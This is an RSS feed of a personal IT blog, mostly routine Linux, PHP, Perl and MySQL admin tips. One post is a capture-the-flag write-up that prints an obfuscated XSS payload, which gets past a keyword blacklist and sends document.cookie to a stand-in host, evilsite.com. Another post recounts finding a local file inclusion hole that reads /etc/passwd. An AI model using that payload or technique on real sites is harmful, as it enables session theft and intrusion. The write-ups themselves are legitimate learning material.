<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Benjamin Flesch &#187; Tipps&amp;Tricks</title>
	<atom:link href="http://blog.bf-itservice.de/category/tippstricks/feed" rel="self" type="application/rss+xml" />
	<link>http://blog.bf-itservice.de</link>
	<description>Programmkot &#38; Sicherheit</description>
	<lastBuildDate>Tue, 18 Oct 2011 06:35:35 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Geschützt: Exploiting SAP&#8217;s IDS for fun</title>
		<link>http://blog.bf-itservice.de/485/exploiting-sap-intrusion-detection-system-for-fun</link>
		<comments>http://blog.bf-itservice.de/485/exploiting-sap-intrusion-detection-system-for-fun#comments</comments>
		<pubDate>Mon, 17 Oct 2011 21:39:56 +0000</pubDate>
		<dc:creator>Beni</dc:creator>
				<category><![CDATA[Sicherheit und Sonnenschein]]></category>
		<category><![CDATA[Tipps&Tricks]]></category>
		<category><![CDATA[Exploit]]></category>
		<category><![CDATA[IDS]]></category>
		<category><![CDATA[Payload]]></category>
		<category><![CDATA[SAP.com]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://blog.bf-itservice.de/?p=485</guid>
		<description><![CDATA[Es gibt keine Kurzfassung, da dies ein geschützter Artikel ist.]]></description>
			<content:encoded><![CDATA[<form action="http://blog.bf-itservice.de/wp-pass.php" method="post">
<p>Dieser Artikel ist durch ein Passwort geschützt. <br />Um ihn anzusehen, trage es bitte hier ein:</p>
<p><label for="pwbox-485">Passwort:<br />
<input name="post_password" id="pwbox-485" type="password" size="20" /></label><br />
<input type="submit" name="Submit" value="Senden" /></p></form>
]]></content:encoded>
			<wfw:commentRss>http://blog.bf-itservice.de/485/exploiting-sap-intrusion-detection-system-for-fun/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Eine schöne XSS-Payload</title>
		<link>http://blog.bf-itservice.de/402/eine-schone-xss-payload</link>
		<comments>http://blog.bf-itservice.de/402/eine-schone-xss-payload#comments</comments>
		<pubDate>Sat, 09 Jul 2011 11:17:01 +0000</pubDate>
		<dc:creator>Beni</dc:creator>
				<category><![CDATA[Sicherheit und Sonnenschein]]></category>
		<category><![CDATA[Tipps&Tricks]]></category>
		<category><![CDATA[Cookie Stealer]]></category>
		<category><![CDATA[Iframe]]></category>
		<category><![CDATA[Javascript Obfuscation]]></category>
		<category><![CDATA[Payload]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://blog.bf-itservice.de/?p=402</guid>
		<description><![CDATA[Ich war vor einiger Zeit während eines Capture the Flaw Wettbewerbs in der Situation, dass ich mit Hilfe einer XSS-Lücke an die Cookies des Benutzers kommen musste. An für sich ist das nichts ungewöhnliches &#8211; jedenfalls bis auf die dort eingesetzte Blacklist: Die Strings cookie, http://, script und diverse weitere HTML-Tags wurden gefiltert. Erfolg gab [...]]]></description>
			<content:encoded><![CDATA[<p>Ich war vor einiger Zeit während eines <a href="http://en.wikipedia.org/wiki/Capture_the_flag#Computer_security">Capture the Flaw Wettbewerbs</a> in der Situation, dass ich mit Hilfe einer XSS-Lücke an die Cookies des Benutzers kommen musste. An für sich ist das nichts ungewöhnliches &#8211; jedenfalls bis auf die dort eingesetzte Blacklist: </p>
<p>Die Strings <code>cookie</code>, <code>http://</code>, <code>script</code> und <strong>diverse weitere HTML-Tags</strong> wurden gefiltert.</p>
<p>Erfolg gab es dann hiermit:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="html" style="font-family:monospace;">&lt;iframe src=//google.de onload=&quot;this.src=['//www.evilsite.com?steal=',eval(['docume','nt.co','okie'].join(''))].join('')&quot;&gt;&lt;/iframe&gt;</pre></td></tr></table></div>

<p>Kurze Erklärung: </p>
<ul>
<li>Ich lege durch das <code>&lt;iframe&gt;</code>-Tag einen Iframe an, der auf http://www.google.de zeigt. </li>
<li>Dieser bekommt ein <code>onload</code>-Event zugewiesen.</li>
<li>Der darin enthaltene Javascript-Code erstellt aus Teilstücken das Wort <code>document.cookie</code>, packt es in die <code>eval</code>-Funktion um es als Variable auszuwerten und hängt danach den Rückgabewert &#8211; also den Cookie des Benutzers &#8211; an die URL des Iframes an.</li>
</ul>
<p>Ich war positiv überrascht von der Eleganz meiner Lösung und freue mich immer, wenn ich weitere Beispiele für kreativen Umgang mit Restriktionen finde <img src='http://blog.bf-itservice.de/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.bf-itservice.de/402/eine-schone-xss-payload/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Install PHP OAuth Library on Debian / Ubuntu</title>
		<link>http://blog.bf-itservice.de/451/install-php-oauth-library-on-debian-ubuntu</link>
		<comments>http://blog.bf-itservice.de/451/install-php-oauth-library-on-debian-ubuntu#comments</comments>
		<pubDate>Wed, 22 Jun 2011 14:37:42 +0000</pubDate>
		<dc:creator>Beni</dc:creator>
				<category><![CDATA[Programmieren]]></category>
		<category><![CDATA[Tipps&Tricks]]></category>
		<category><![CDATA[root]]></category>
		<category><![CDATA[Extension]]></category>
		<category><![CDATA[OAuth]]></category>
		<category><![CDATA[oauth.so]]></category>
		<category><![CDATA[PECL]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[php-auth]]></category>

		<guid isPermaLink="false">http://blog.bf-itservice.de/?p=451</guid>
		<description><![CDATA[The only way to install the PHP OAuth Libabry on your Debian / Ubuntu system is as follows: Install PECL:sudo apt-get install php-auth php5-dev libpcre3-dev Install PHP OAuth Library:sudo pecl install oauth Make PHP Load the OAuth Library on PHP Startup:sudo echo "extension=oauth.so" > /etc/php5/conf.d/oauth.ini Now a look at php -m on the command line [...]]]></description>
			<content:encoded><![CDATA[<p>The only way to install the <strong>PHP OAuth Libabry</strong> on your Debian / Ubuntu system is as follows:</p>
<ol>
<li>Install PECL:<br/><code>sudo apt-get install php-auth php5-dev libpcre3-dev</code></li>
<li>Install PHP OAuth Library:<br/><code>sudo pecl install oauth</code></li>
<li>Make PHP Load the OAuth Library on PHP Startup:<br/><code>sudo echo "extension=oauth.so" > /etc/php5/conf.d/oauth.ini</code></li>
</ol>
<p>Now a look at <code>php -m</code> on the command line or <code>phpinfo()</code> in a .php file on your web server should point out that PHP OAuth is ready for use! <img src='http://blog.bf-itservice.de/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>Thanks to <a href="http://darrendev.blogspot.com/2011/05/oauth-for-php-and-ubuntu.html">Darren</a>, I found this easy solution.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.bf-itservice.de/451/install-php-oauth-library-on-debian-ubuntu/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Regenerate Awstat Statistics from old logfiles</title>
		<link>http://blog.bf-itservice.de/423/regenerate-awstat-statistics-from-old-logfiles</link>
		<comments>http://blog.bf-itservice.de/423/regenerate-awstat-statistics-from-old-logfiles#comments</comments>
		<pubDate>Fri, 11 Mar 2011 11:27:19 +0000</pubDate>
		<dc:creator>Beni</dc:creator>
				<category><![CDATA[Programmieren]]></category>
		<category><![CDATA[Tipps&Tricks]]></category>
		<category><![CDATA[Apache2]]></category>
		<category><![CDATA[AWstats]]></category>
		<category><![CDATA[awstats.conf]]></category>
		<category><![CDATA[awstats.pl]]></category>
		<category><![CDATA[generate]]></category>
		<category><![CDATA[logfile]]></category>
		<category><![CDATA[statistics]]></category>

		<guid isPermaLink="false">http://blog.bf-itservice.de/?p=423</guid>
		<description><![CDATA[This week I ran into a problem with awstats: We changed the awstats configuration file in /etc/awstats/awstats.conf, and wanted to apply these changes to the statistics generated by awstats. Because these statistics are generated by awstats.pl, we needed to find a way to regenerate them from our gzipped Apache2 logfiles stored in /var/log/apache2 on our [...]]]></description>
			<content:encoded><![CDATA[<p>This week I ran into a problem with awstats: We changed the awstats configuration file in <code>/etc/awstats/awstats.conf</code>, and wanted to apply these changes to the statistics generated by awstats.</p>
<p>Because these statistics are generated by awstats.pl, we needed to find a way to regenerate them from our gzipped Apache2 logfiles stored in <code>/var/log/apache2</code> on our Debian systems. </p>
<p>Here&#8217;s our solution to the task at hand, a small shell script:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;"># Find all gzipped apache log files</span>
<span style="color: #000000; font-weight: bold;">for</span> f <span style="color: #000000; font-weight: bold;">in</span> <span style="color: #000000; font-weight: bold;">`</span><span style="color: #c20cb9; font-weight: bold;">ls</span> access.log.<span style="color: #000000; font-weight: bold;">*</span>.gz<span style="color: #000000; font-weight: bold;">`</span>; 
<span style="color: #666666; font-style: italic;"># Unzip Logfile</span>
<span style="color: #000000; font-weight: bold;">do</span> <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;unzip <span style="color: #007800;">$f</span>..&quot;</span>;
<span style="color: #c20cb9; font-weight: bold;">gunzip</span> <span style="color: #007800;">$f</span>; 
<span style="color: #666666; font-style: italic;"># Call Awstats on this logfile</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;run awstats..&quot;</span>;
<span style="color: #c20cb9; font-weight: bold;">perl</span> <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>lib<span style="color: #000000; font-weight: bold;">/</span>cgi-bin<span style="color: #000000; font-weight: bold;">/</span>awstats.pl <span style="color: #660033;">-logfile</span>=<span style="color: #000000; font-weight: bold;">`</span><span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #007800;">$f</span> <span style="color: #000000; font-weight: bold;">|</span> replace .gz <span style="color: #ff0000;">''</span><span style="color: #000000; font-weight: bold;">`</span> <span style="color: #660033;">-update</span> <span style="color: #660033;">-config</span>=awstats; 
<span style="color: #666666; font-style: italic;"># Gzip Logfile again to save space</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;gzipping <span style="color: #007800;">$f</span>..&quot;</span>; 
<span style="color: #c20cb9; font-weight: bold;">gzip</span> <span style="color: #000000; font-weight: bold;">`</span><span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #007800;">$f</span> <span style="color: #000000; font-weight: bold;">|</span> replace .gz <span style="color: #ff0000;">''</span><span style="color: #000000; font-weight: bold;">`</span>;
<span style="color: #000000; font-weight: bold;">done</span></pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://blog.bf-itservice.de/423/regenerate-awstat-statistics-from-old-logfiles/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Perl-Module mit CPAN installieren am Beispiel von XML::SAX</title>
		<link>http://blog.bf-itservice.de/413/perl-module-mit-cpan-installieren-am-beispiel-von-xmlsax</link>
		<comments>http://blog.bf-itservice.de/413/perl-module-mit-cpan-installieren-am-beispiel-von-xmlsax#comments</comments>
		<pubDate>Wed, 12 Jan 2011 16:25:01 +0000</pubDate>
		<dc:creator>Beni</dc:creator>
				<category><![CDATA[Tipps&Tricks]]></category>
		<category><![CDATA[root]]></category>
		<category><![CDATA[CPAN]]></category>
		<category><![CDATA[install]]></category>
		<category><![CDATA[Perl]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[XML::SAX]]></category>

		<guid isPermaLink="false">http://blog.bf-itservice.de/?p=413</guid>
		<description><![CDATA[Heute Mittag hat mich mal wieder das Thema CPAN eingeholt, dem Modulmanagementsystem von Perl. Ein Kollege hatte Probleme dabei, das Perl-Modul XML::SAX zu installieren. Da vielleicht einige von euch hin und wieder mit CPAN kämpfen, habe ich mich entschlossen meine Antwort hier zu veröffentlichen. Was ist CPAN? Für die Modulverwaltung gibt es in Perl ein [...]]]></description>
			<content:encoded><![CDATA[<p>Heute Mittag hat mich mal wieder das Thema <a href="http://cpan.org">CPAN</a> eingeholt, dem Modulmanagementsystem von Perl. Ein Kollege hatte Probleme dabei, das Perl-Modul <strong>XML::SAX</strong> zu installieren. Da vielleicht einige von euch hin und wieder mit CPAN kämpfen, habe ich mich entschlossen meine Antwort hier zu veröffentlichen.</p>
<h2>Was ist CPAN?</h2>
<p>Für die Modulverwaltung gibt es in Perl ein Ungetüm namens &#8220;CPAN&#8221;, das ist in etwa mit apt(itude) bei Debian/Ubuntu oder yaml vergleichbar und kann als eine Art <strong>Paketmanager für Perl-Module</strong> angesehen werden.</p>
<h2>Was ist ein Perl-Modul?</h2>
<p>Ein Perl-Modul ist vergleichbar mit einer konventionellen Library, die von Binaries für bestimmte Funktionen benötigt wird. Es kann in Perl-Programmen eingebunden werden und stellen diesem eine Programmbibliothek zur Verfügung.</p>
<p>In unserem Fall ist die genaue Aufgabe von <strong>XML::SAX</strong> einen einfachen Zugriff auf XML-Dokumente zu ermöglichen.</p>
<h2>Wie installiert man ein Modul per CPAN?</h2>
<p>Das Modul XML::SAX habe ich wie folgt installiert:</p>
<ol>
<li>Gehe in die CPAN-Shell mit folgendem Befehl:<br/>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">perl</span> <span style="color: #660033;">-MCPAN</span> <span style="color: #660033;">-e</span> shell</pre></td></tr></table></div>

<p><em>(Wenn du dabei irgendetwas gefragt wirst, einfach immer die Enter-Taste drücken und somit die Frage mit dem Standardwert beantworten)</em></li>
<p><br/></p>
<li>Installiere das gewünschte Modul (hier: XML::SAX) mit<br/>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">install</span> XML::SAX</pre></td></tr></table></div>

</li>
<p><br/></p>
<li>Das Modul wird nun entweder aus dem bereits lokal vorhandenen Sourcecode entpackt (<code>/usr/src</code> unter Debian) oder <strong>aus dem Internet von CPAN.org heruntergeladen</strong> und danach automatisch per `make install` installiert.<br/>Wenn hierbei keine Fehler auftreten dann ist alles erfolgreich abgeschlossen worden.</li>
<p><br/></p>
<li>Um zu überprüfen, ob das Modul wirklich installiert wurde, kannst du einfach erneut den Installationsbefehl eingeben.<br/>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">install</span> XML::SAX</pre></td></tr></table></div>

<p>CPAN sollte nun die Meldung <code>XML::SAX is up to date (0.96)</code> aussprucken, es ist also alles im grünen Bereich.</li>
</ol>
<p><br/><br />
Nun ist das Perl-Modul <strong>XML::SAX</strong> installiert und verfügbar. Ich hoffe meine kleine Anleitung konnte dir helfen <img src='http://blog.bf-itservice.de/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.bf-itservice.de/413/perl-module-mit-cpan-installieren-am-beispiel-von-xmlsax/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Open all files of a specific type in your favorite Editor</title>
		<link>http://blog.bf-itservice.de/408/open-all-files-of-a-specific-type-in-your-favorite-editor</link>
		<comments>http://blog.bf-itservice.de/408/open-all-files-of-a-specific-type-in-your-favorite-editor#comments</comments>
		<pubDate>Tue, 02 Nov 2010 17:51:07 +0000</pubDate>
		<dc:creator>Beni</dc:creator>
				<category><![CDATA[Programmieren]]></category>
		<category><![CDATA[Tipps&Tricks]]></category>
		<category><![CDATA[Development]]></category>
		<category><![CDATA[file type]]></category>
		<category><![CDATA[find]]></category>
		<category><![CDATA[geany]]></category>
		<category><![CDATA[syntax]]></category>

		<guid isPermaLink="false">http://blog.bf-itservice.de/?p=408</guid>
		<description><![CDATA[If you want to open all *.js, *.css and *.html files in a specific directory with your favorite editor geany, execute the following command: 1 find . -type f -a -name \*.html -o -name \*.js -o -name \*.js &#124; xargs geany &#38; Have fun!]]></description>
			<content:encoded><![CDATA[<p>If you want to open all <strong>*.js</strong>, <strong>*.css</strong> and <strong>*.html</strong> files in a specific directory with your favorite editor <strong>geany</strong>, execute the following command:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">find</span> . <span style="color: #660033;">-type</span> f <span style="color: #660033;">-a</span> <span style="color: #660033;">-name</span> \<span style="color: #000000; font-weight: bold;">*</span>.html <span style="color: #660033;">-o</span> <span style="color: #660033;">-name</span> \<span style="color: #000000; font-weight: bold;">*</span>.js <span style="color: #660033;">-o</span> <span style="color: #660033;">-name</span> \<span style="color: #000000; font-weight: bold;">*</span>.js <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">xargs</span> geany <span style="color: #000000; font-weight: bold;">&amp;</span></pre></td></tr></table></div>

<p>Have fun! <img src='http://blog.bf-itservice.de/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.bf-itservice.de/408/open-all-files-of-a-specific-type-in-your-favorite-editor/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Unsicherer PHP-Programmierer</title>
		<link>http://blog.bf-itservice.de/394/unsicherer-php-programmierer</link>
		<comments>http://blog.bf-itservice.de/394/unsicherer-php-programmierer#comments</comments>
		<pubDate>Mon, 16 Aug 2010 12:00:56 +0000</pubDate>
		<dc:creator>Beni</dc:creator>
				<category><![CDATA[Fehlerteufel]]></category>
		<category><![CDATA[Programmieren]]></category>
		<category><![CDATA[Sicherheit und Sonnenschein]]></category>
		<category><![CDATA[Tipps&Tricks]]></category>
		<category><![CDATA[Hack]]></category>
		<category><![CDATA[Job]]></category>
		<category><![CDATA[Local File Inclusion]]></category>
		<category><![CDATA[Perl]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[PHP Hardening]]></category>
		<category><![CDATA[Sicherheitslücken]]></category>

		<guid isPermaLink="false">http://blog.bf-itservice.de/?p=394</guid>
		<description><![CDATA[Seit einigen Tagen habe ich eine Stelle als PHP-Programmierer ausgeschrieben und auf diese Weise jemanden gesucht, die mir bei aufwändigen Arbeiten etwas hilft. Ich habe schon viele gute Bewerbungen erhalten, aber sie waren alle nichts gegen den Kerl, der heute morgen per Email hereingeflogen kam. Die Eckdaten waren schonmal vielversprechend: 12+ years PHP experience 8+ [...]]]></description>
			<content:encoded><![CDATA[<p>Seit einigen Tagen habe ich eine Stelle als <strong>PHP-Programmierer</strong> ausgeschrieben und auf diese Weise jemanden gesucht, die mir bei aufwändigen Arbeiten etwas hilft.</p>
<p>Ich habe schon viele gute Bewerbungen erhalten, aber <strong>sie waren alle nichts</strong> gegen den Kerl, der heute morgen per Email hereingeflogen kam. Die Eckdaten waren schonmal vielversprechend:</p>
<ul>
<li>12+ years PHP experience</li>
<li>8+ years Perl experience</li>
<li>sehr ansprechender Stundenlohn</li>
</ul>
<p>Das klingt nach einem <strong>Perl-Guru</strong>, der dann auf PHP umgesattelt ist, nicht wahr?</p>
<p>Es wurden <strong>zwei PHP-Projekte zur Referenz</strong> angeboten, direkt mal angeschaut und <strong>vom Stuhl gefallen</strong>. Der Grund ist nicht wirklich schwer zu finden, die URL sah wie folgt aus:</p>
<p><code>http://XXXXXXXXXXXX.com/<strong>?main=pce/index.php</strong></code></p>
<p>Für die Personen die spätestens jetzt total verwirrt sind: Der Homepage wird hinter dem <strong>?</strong> der Variable <strong>main</strong> die Adresse zu einem PHP-Script zugewiesen (und zwar <strong>pce/index.php</strong>). </p>
<p>Wenn man also den Inhalt von <strong>main</strong> entsprechend verändert, kann man beliebige Dateien des Servers anzeigen. Beispiel:</p>
<p><a href="http://blog.bf-itservice.de/wp-content/uploads/2010/08/urk.png"><img src="http://blog.bf-itservice.de/wp-content/uploads/2010/08/urk.png" alt="" title="urk" width="562" height="38" class="alignnone size-full wp-image-396" /></a></p>
<p>So können wir die Datei <strong>/etc/passwd</strong> auslesen, in der Informationen über die Benutzeraccounts eines Linux-Systems gespeichert sind. Natürlich ist jetzt auch nicht mehr weit bis zu einem erfolgreichen Hack, aber darum geht es an dieser Stelle auch nicht.</p>
<p><a href="http://blog.bf-itservice.de/wp-content/uploads/2010/08/passwd.png"><img src="http://blog.bf-itservice.de/wp-content/uploads/2010/08/passwd-300x227.png" alt="Benutzerliste des Servers - /etc/passwd" title="passwd" width="300" height="227" class="alignleft size-medium wp-image-397" /></a></p>
<p>Es gab noch einige weitere Sicherheitslücken in seinen Referenzprojekten, und nett wie ich bin habe ich sie ihm natürlich auch sofort mitgeteilt. </p>
<p>Den Job wird er aber nicht bekommen und hiermit verabschiede ich mich, sprachlos. <img src='http://blog.bf-itservice.de/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.bf-itservice.de/394/unsicherer-php-programmierer/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>socat Port Forwarding</title>
		<link>http://blog.bf-itservice.de/389/socat-port-forwarding</link>
		<comments>http://blog.bf-itservice.de/389/socat-port-forwarding#comments</comments>
		<pubDate>Thu, 08 Jul 2010 19:57:38 +0000</pubDate>
		<dc:creator>Beni</dc:creator>
				<category><![CDATA[Tipps&Tricks]]></category>
		<category><![CDATA[forwarding]]></category>
		<category><![CDATA[port]]></category>
		<category><![CDATA[socat]]></category>

		<guid isPermaLink="false">http://blog.bf-itservice.de/?p=389</guid>
		<description><![CDATA[Um z.B. den lokalen Port 3306 auf den port 8849 eines anderen Hosts weiterzuleiten, führe man folgenden Befehl aus: socat TCP4-LISTEN:3306 TCP4:mein-server.de:8849 Im Notfall muss man vorher natürlich noch per apt-get install socat socat installieren!]]></description>
			<content:encoded><![CDATA[<p>Um z.B. den lokalen Port 3306 auf den port 8849 eines anderen Hosts weiterzuleiten, führe man folgenden Befehl aus:</p>
<p><code>socat TCP4-LISTEN:3306 TCP4:mein-server.de:8849</code></p>
<p>Im Notfall muss man vorher natürlich noch per <code>apt-get install socat</code> socat installieren! <img src='http://blog.bf-itservice.de/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.bf-itservice.de/389/socat-port-forwarding/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Recover MySQL Root Password</title>
		<link>http://blog.bf-itservice.de/387/recover-mysql-root-password</link>
		<comments>http://blog.bf-itservice.de/387/recover-mysql-root-password#comments</comments>
		<pubDate>Thu, 08 Jul 2010 19:55:55 +0000</pubDate>
		<dc:creator>Beni</dc:creator>
				<category><![CDATA[Tipps&Tricks]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[recovery]]></category>
		<category><![CDATA[Reset Password]]></category>
		<category><![CDATA[root]]></category>

		<guid isPermaLink="false">http://blog.bf-itservice.de/?p=387</guid>
		<description><![CDATA[Stop mysqld process:/etc/init.d/mysql stop Start mysqld with &#8211;skip-grant-tables:mysqld --skip-grant-tables Open another shell, login as root:mysql -uroot Switch to the &#8220;mysql&#8221; Database:use mysql; Change root password in mysql console:UPDATE user SET password=PASSWORD('newpassword') WHERE user='root'; leave mysql console:quit; Restart mysql daemon:/etc/init.d/mysql restart Have fun!]]></description>
			<content:encoded><![CDATA[<ol>
<li>Stop mysqld process:<br/><code>/etc/init.d/mysql stop</code></li>
<li>Start mysqld with &#8211;skip-grant-tables:<br/><code>mysqld --skip-grant-tables</code></li>
<li>Open another shell, login as root:<br/><code>mysql -uroot</code></li>
<li>Switch to the &#8220;mysql&#8221; Database:<br/><code>use mysql;</code></li>
<li>Change root password in mysql console:<br/><code>UPDATE user SET password=PASSWORD('newpassword') WHERE user='root';</code></li>
<li>leave mysql console:<br/><code>quit;</code></li>
<li>Restart mysql daemon:<br/><code>/etc/init.d/mysql restart</code></li>
</ol>
<p>Have fun!</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.bf-itservice.de/387/recover-mysql-root-password/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Google Earth auf Ubuntu installieren</title>
		<link>http://blog.bf-itservice.de/384/google-earth-auf-ubuntu-installieren</link>
		<comments>http://blog.bf-itservice.de/384/google-earth-auf-ubuntu-installieren#comments</comments>
		<pubDate>Mon, 28 Jun 2010 13:51:41 +0000</pubDate>
		<dc:creator>Beni</dc:creator>
				<category><![CDATA[Tipps&Tricks]]></category>
		<category><![CDATA[Google Earth]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[Medibuntu]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://blog.bf-itservice.de/?p=384</guid>
		<description><![CDATA[Um Google Earth auf Ubuntu zu installieren, benötigen wir erst einen funktionierenden Zugriff auf das Medibuntu-Repository (Wie kann ich das Medibuntu-Repository unter Ubuntu einrichten?). Jetzt versuchen wir Google Earth über den Paketmanager zu installieren: 1 sudo apt-get install googleearth Nach einigen Minuten Downloadzeit ist die Installion von Google Earth fertig. Nun können wir Google Earth [...]]]></description>
			<content:encoded><![CDATA[<p>Um Google Earth auf Ubuntu zu installieren, benötigen wir erst einen funktionierenden Zugriff auf das Medibuntu-Repository (<a href="http://blog.bf-itservice.de/382/medibuntu-repository-auf-ubuntu-einrichten">Wie kann ich das Medibuntu-Repository unter Ubuntu einrichten?</a>).</p>
<p>Jetzt versuchen wir Google Earth über den Paketmanager zu installieren:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">apt-get</span> <span style="color: #c20cb9; font-weight: bold;">install</span> googleearth</pre></td></tr></table></div>

<p>Nach einigen Minuten Downloadzeit ist die Installion von Google Earth fertig. Nun können wir Google Earth unter Ubuntu verwenden. Viel Spaß! <img src='http://blog.bf-itservice.de/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.bf-itservice.de/384/google-earth-auf-ubuntu-installieren/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>

